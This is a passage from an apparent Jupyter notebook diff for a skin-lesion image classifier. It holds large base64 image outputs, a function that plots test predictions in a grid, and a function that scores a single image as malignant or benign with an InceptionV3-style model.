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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "def plot_images(X_test, y_pred, y_test):\n",
+ " predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred])\n",
+ " # some nice plotting\n",
+ " plt.figure(figsize=(10,9))\n",
+ " for n in range(30, 60):\n",
+ " plt.subplot(6,5,n-30+1)\n",
+ " plt.subplots_adjust(hspace = 0.3)\n",
+ " plt.imshow(X_test[n])\n",
+ " # get the predicted label\n",
+ " predicted_label = predicted_class_names[n]\n",
+ " # get the actual true label\n",
+ " true_label = class_names[int(round(y_test[n]))]\n",
+ " if predicted_label == true_label:\n",
+ " color = \"blue\"\n",
+ " title = predicted_label.title()\n",
+ " else:\n",
+ " color = \"red\"\n",
+ " title = f\"{predicted_label.title()}, true:{true_label.title()}\"\n",
+ " plt.title(title, color=color)\n",
+ " plt.axis('off')\n",
+ " _ = plt.suptitle(\"Model predictions (blue: correct, red: incorrect)\")\n",
+ " plt.show()\n",
+ "\n",
+ "plot_images(X_test, y_pred, y_test)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 33,
+ "metadata": {
+ "id": "P90i8WNeo8P0"
+ },
+ "outputs": [],
+ "source": [
+ "# a function given a function, it predicts the class of the image\n",
+ "def predict_image_class(img_path, model, threshold=0.5):\n",
+ " img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299))\n",
+ " img = tf.keras.preprocessing.image.img_to_array(img)\n",
+ " img = tf.expand_dims(img, 0) # Create a batch\n",
+ " img = tf.keras.applications.inception_v3.preprocess_input(img)\n",
+ " img = tf.image.convert_image_dtype(img, tf.float32)\n",
+ " predictions = model.predict(img)\n",
+ " score = predictions.squeeze()\n",
+ " if score >= threshold:\n",
+ " print(f\"This image is {100 * score:.2f}% malignant.\")\n",
+ " else:\n",
+ " print(f\"This image is {100 * (1 - score):.2f}% benign.\")\n",
+ " \n",
+ " plt.imshow(img[0])\n",
+ " plt.axis('off')\n",
+ " plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 34,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 355
+ },
+ "id": "NxmEtkuryAob",
+ "outputId": "0f8fba67-0393-4a39-f6d6-621f3f9825fb"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "1/1 [==============================] - 0s 27ms/step\n"
+ ]
+ },
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+ ]
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "[[0.6803772]]\n",
+ "0.6803772\n",
+ "This image is 68.04% malignant.\n"
+ ]
+ },
+ {
+ "data": {
+ "image/png": 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